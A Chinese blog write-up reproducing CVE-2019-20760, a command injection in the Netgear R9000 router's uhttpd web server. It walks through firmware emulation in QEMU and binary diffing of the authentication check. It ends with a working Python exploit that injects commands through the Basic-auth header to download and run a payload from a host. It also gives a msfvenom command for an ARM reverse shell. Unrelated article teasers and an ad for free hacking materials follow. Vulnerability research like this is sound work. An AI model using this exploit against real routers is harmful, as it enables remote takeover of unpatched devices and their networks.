Netgear无线路由器漏洞复现(CVE-2019-20760)

漏洞概述

漏洞服务: uhttpd

漏洞类型: 远程命令执行

影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响

解决建议: 更新版本

漏洞复现

操作环境: ubuntu:22.04

qemu-version: 8.1.1

仿真环境

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip

下载固件。

 binwalk -Mer R9000-V1.0.4.26.img 

image-20231006204853421

可通过 binwalk 常规解压获得文件系统。

image-20231006213813263

检查 ELF32 文件架构为 arm-32-little

wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress

下载合适的虚拟机映像。

#!/bin/sh
# 参考《CTF实战》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down                 # 首先关闭宿主机网卡接口
sudo brctl addbr br0                     # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33               # 在 br0 中添加一个接口
sudo brctl stp br0 off                   # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1                   # 设置 br0 的转发延迟
sudo brctl sethello br0 1                # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up     # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up   # 启用网卡接口
sudo dhclient br0                        # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0                      # 查看虚拟网桥列表
sudo brctl showstp br0                   # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root              # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0                # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up    # 启用 tap0 接口
sudo brctl showstp br0

image-20231006215529022

配置网络。

#!/bin/sh
qemu-system-arm \
    -M vexpress-a9 \
    -kernel vmlinuz-3.2.0-4-vexpress \
    -initrd initrd.img-3.2.0-4-vexpress \
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
-M              			# 选择开发板​
-m							# 指定内存大小
-drive         			    # 定义存储驱动器​
file=         			    # 定义镜像文件​
-net nic       			    # 创建客户机网卡​
-net tap                    # 创建 tap 设备,以桥接方式跟宿主机通信​
ifname=virtual0             # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信​
-nographic                  # 以非图形化模式启动​
-append        			    # 内核启动附加参数​
-console=ttyAMA0		    # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
-nographic					# 不再启用额外的终端界面

image-20231006220307746

image-20231006220609818

启动 qemu-system-armhf 环境,默认用户名密码都为 root

ifconfig eth0 192.168.152.168/24

image-20231006220912835

qemu-system-armhf 配置静态 IP

tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server

image-20231006221335309

image-20231006221428854

将文件根系统打包,然后利用 python3http.server 模块下载到 qemu-system-armhf 的根目录中并用 tar xvf squashfs-root.tar.gz 解压。

cd /squashfs-root
mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
mount --bind /dev dev   # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
chroot . sh

image-20231006222713410

因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc/dev 目录,这里利用 mount 命令将 qemu-system-armhfprocdev 目录挂在到 squashfs-root 中,并更换根目录为 squashfs-root

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

Web模拟

find -name uhttpd
cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd
...
start() {
	#config_load uhttpd
	#config_foreach start_instance uhttpd

	#mkdir /tmp/www
	#cp -rf /usr/www/* /tmp/www

	/www/cgi-bin/uhttpd.sh start
	inetd
	detplc
    #for bug58012
    touch /tmp/fwcheck_status
}
...

查找 uhttpd 的相关文件。

#!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"


uhttpd_stop()
{
	kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
	stop)
		uhttpd_stop
	;;
	start)
		uhttpd_start
	;;
	restart)
		uhttpd_stop
		uhttpd_start
	;;
	*)
		logger -- "usage: $0 start|stop|restart"
	;;
esac

image-20231006223655990

查看 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80

逆向分析

wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip

获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff 进行二进制比对,来查找漏洞点。

image-20231006231411605

shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可,主要查看登录验证的 uh_cgi_auth_check() 函数。

  memset(s, 0, 0x1000u);
  v14 = strlen(v13);
  uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
  v15 = strchr(s, ':');
  if ( !v15 )
  {
LABEL_32:
    v16 = 0;
    v17 = 0;
    goto LABEL_15;
  }
  v16 = v15 + 1;
  *v15 = 0;
  if ( v15 != (char *)0xFFFFFFFF )
  {
    snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
    system(command);
    v3 = cat_file(73805);
  }
  v17 = s

漏洞版本 base64 解密后 snprintf() 后直接传给 system() 执行,这里会把 v15(:)后面的内容放到 %s 处,记得加\n来执行多条指令。

  memset(s, 0, 0x1000u);
  v15 = strlen(v14);
  uh_b64decode(s, 4095, v14 + 6, v15 - 6);
  v16 = strchr(s, 58);
  if ( !v16 )
  {
LABEL_15:
    v17 = 0;
    v18 = 0;
    goto LABEL_16;
  }
  v17 = v16 + 1;
  *v16 = 0;
  if ( v16 != (char *)-1 )
  {
    v18 = s;
    dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
    v19 = cat_file("/tmp/hash_result");
    goto LABEL_17;
  }

而修复版本则利用 dni_system() 执行,只可控参数。

获取权限

poc:

#!/usr/bin/python3

from pwn import *
import requests
import base64

cmd  = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'

assert(len(cmd) < 255)

cmd_b64 = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
    "Upgrade-Insecure-Requests": "1",
    "Authorization": "Basic " + cmd_b64
}

def attack():
    try:
        requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
    except Exception as e:
        print(e)

attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf

利用 msf 生成对应架构的木马程序,然后在shell.elf所在的目录开启http服务,利用漏洞将木马程序下载下来。

image-20231006233741185

启动监听,并执行 exp.py

image-20231006234357194

成功获取 shell,我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。

image-20231006234709504

成功创建。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/624719.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从零实现一套低代码(保姆级教程)【运行时】 --- 【29】实现设计态的预览按钮和全屏展示

摘要 目前这个低代码平台的整体&#xff0c;我们已经搭建好了。后续可能就是一些额外功能的补充。现在我们看这个平台会发现一个比较明显的问题&#xff1a; 就是在运行时&#xff0c;能展示组件的地方只有中间的画布区。因为在设计态的时候&#xff0c;我们就已经缩小了放置…

spring boot3多模块项目工程搭建-下(团队开发模板)

⛰️个人主页: 蒾酒 &#x1f525;系列专栏&#xff1a;《spring boot实战》 目录 写在前面 上文衔接 Common模块 DAO模块 Service模块 Web模块 API模块 写在最后 写在前面 本文介绍了springboot开发后端服务&#xff0c;多模块项目工程搭建&#xff0c;各模块的…

创建存储过程

查询语句 DDL CREATE TABLE student (id INT PRIMARY KEY AUTO_INCREMENT,createDate DATE NOT NULL,phone VARCHAR(20) NOT NULL,age INT NOT NULL,sex ENUM(男, 女) NOT NULL,introduce TEXT NOT NULL,userName VARCHAR(50) NOT NULL ); DML INSERT INTO student (create…

ERROR: tensorboard 1.14.0 has requirement setuptools>=41.0.0(问题解决)

问题描述&#xff1a; ERROR: tensorboard 1.14.0 has requirement setuptools>41.0.0, but youll have setuptools 39.2.0 which is incompatible. 问题原因&#xff1a; setuptools 版本太低 解决方法&#xff1a;升级setuptools版本 pip install --upgrade setuptools…

Java modbus 实现RTU串口作为slave(服务端)读写数据

这里要了解下modbus的RTU和TCP 的几个名称关系&#xff1a; Modbus/RTU&#xff1a;主站 和从站 关系 Modbus/TCP&#xff1a;客户端和服务端关系 关系 主站主动找从站读写数据 客户端主动找服务端读写数据 所以当使用Modbus/TCP时&#xff0c;主站一般作为客户端&#xff…

【观成科技】加密C2框架Xiebro流量分析

一、工具介绍 Xiebro是由Golang和 .NET编写&#xff0c;提供支持的多人和多服务器 C2/后开发框架。它支持多种通信协议&#xff0c;包括TCP、websocket等&#xff0c;并且在客户端与Xiebro服务器之间的通信通常采用AES加密来保障安全性和隐蔽性。 二、工具原理分析 Xiebro C…

Sectigo SSL证书申请的流程是怎样的?

在当今数字化时代&#xff0c;网络安全成为了一个不可忽视的问题。为了保护网站和用户数据的安全&#xff0c;SSL证书成为了网站运营的重要组成部分。Sectigo作为全球领先的数字证书颁发机构之一&#xff0c;提供了一系列的证书解决方案来满足不同类型网站的需求。以下是对Sect…

一体化水处理设备有哪些

一体化水处理设备是一种集成了多种水处理工艺的紧凑型设备&#xff0c;适用于各种规模的水处理需求&#xff0c;包括生活污水、工业废水、饮用水处理等。这些设备通常设计为模块化&#xff0c;便于安装、运输和扩展。以下是一些常见的一体化水处理设备类型&#xff1a; 一体化生…

针对大型企业网站和内部网的框架/内容管理系统建议

1. 问题背景 在大型企业中&#xff0c;网站和内部网的建设至关重要&#xff0c;但企业在选择框架/内容管理系统&#xff08;CMS&#xff09;时往往面临诸多难题。这些难题包括&#xff1a; 稳定性和可靠性&#xff1a; 企业网站和内部网需要稳定可靠&#xff0c;以确保业务的…

【热门话题】Vue.js:现代前端开发的轻量级框架之旅

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 Vue.js&#xff1a;现代前端开发的轻量级框架之旅一、Vue.js概览1.1 Vue.js的诞…

数据中心逆变电源的功率容量计算方法

随着信息技术的快速发展&#xff0c;数据中心在现代社会中的地位日益凸显&#xff0c;各种企业和机构对数据中心的依赖程度也越来越高。而电源作为数据中心的核心基础设施&#xff0c;其可靠性和高效性直接影响着数据中心的稳定运行。因此&#xff0c;如何设计一款性能优越、可…

以管理员身份运行设置

在使用非 Administrator 用户操作情况下&#xff1a; 举个例子&#xff0c;因为每次想要以管理员身份运行命令提示符&#xff0c;都要右键选择才行&#xff0c;有点麻烦。 可以设置每次点开就是以管理员身份运行命令提示符&#xff0c;操作如下&#xff1a; 1.Win R 输入 s…

知了汇智副总经理赵懋骏出席“走进阿里”CEO联席会,共话AI大模型新趋势

在智能科技日新月异的今天&#xff0c;汇智知了堂副总经理赵懋骏于3月28日受邀出席了在天府软件园举行的“走进阿里–2024年CEO联席会”&#xff0c;会议聚焦阿里云AI技术的最新进展与行业应用&#xff0c;特别是“AI技术正在加速变革&#xff1a;大模型的历史、现在与趋势”&a…

批量剪辑与转码解析:一键实现MP4到FLV顺畅转换的技巧

在数字化多媒体日益盛行的今天&#xff0c;视频格式转换成为了我们日常生活和工作中不可或缺的一部分。尤其是当需要将MP4格式的视频转换为FLV格式时&#xff0c;批量剪辑与转码功能的出现&#xff0c;极大地提升了我们处理视频的效率。本文将为您详细解析云炫AI智剪如何一键实…

apisix3.9.1 和 dashboard 离线安装

服务器配置 centos7 linux x86 64 前置 需要将离线安装包上传到服务器上 {上传目录 /root/apisix-soft/ } 【建议:优先上传etcd-*.jar \ apisix-*.rpm \ cyrus-*.rpm \ openldap-*.rpm 等安装好apisix后再上传apisix-dashboard-*.rpm】 可以自行网上寻找&#xff0c;或找一台可…

spring cloud alibaba、spring cloud和springboot三者的版本兼容

官方版本说明地址: 版本说明 alibaba/spring-cloud-alibaba Wiki GitHub 组件版本关系 每个 Spring Cloud Alibaba 版本及其自身所适配的各组件对应版本如下表所示(注意,Spring Cloud Dubbo 从 2021.0.1.0 起已被移除出主干,不再随主干演进): Spring Cloud Alibaba Ve…

初识java——javaSE(4)类与对象

文章目录 前言一 类与对象1.1 面向过程与面向对象思想的区别&#xff1a;1.2 类的定义1.3 类的实例化——对象通过创建对象&#xff0c;调用对象中的成员变量与方法 1.4 this关键字this的作用一&#xff1a;this 的作用二构造方法&#xff1a;对象创建的两步方法的重载 this的作…

SGPM02陀螺仪模块通过惯性导航助力AGV小车的发展

之前我们介绍过SGPM01系列陀螺仪模块在智能泳池清洁机器人导航的方案(SGPM01)。这款惯性导航模块收到了许多企业的欢迎。由此&#xff0c;爱普生推出了SGPM02系列陀螺仪模块通过惯性导航&#xff0c;助力AGV小车的发展。 AGV是一种用于运输材料的无人驾驶车辆&#xff0c;并且A…

SHAP分析交互作用的功能,如果你用的模型是xgboost

SHAP分析交互作用的功能&#xff0c;如果你用的模型是xgboost 如果在SHAP分析中使用的是xgoost模型&#xff0c;就可以使用SHAP分析内置的交互作用分析&#xff0c;为分析变量间的相互提供了另外一个观察的视角。关于SHAP交互作用分析&#xff0c;一个参考资料&#xff0c;还是…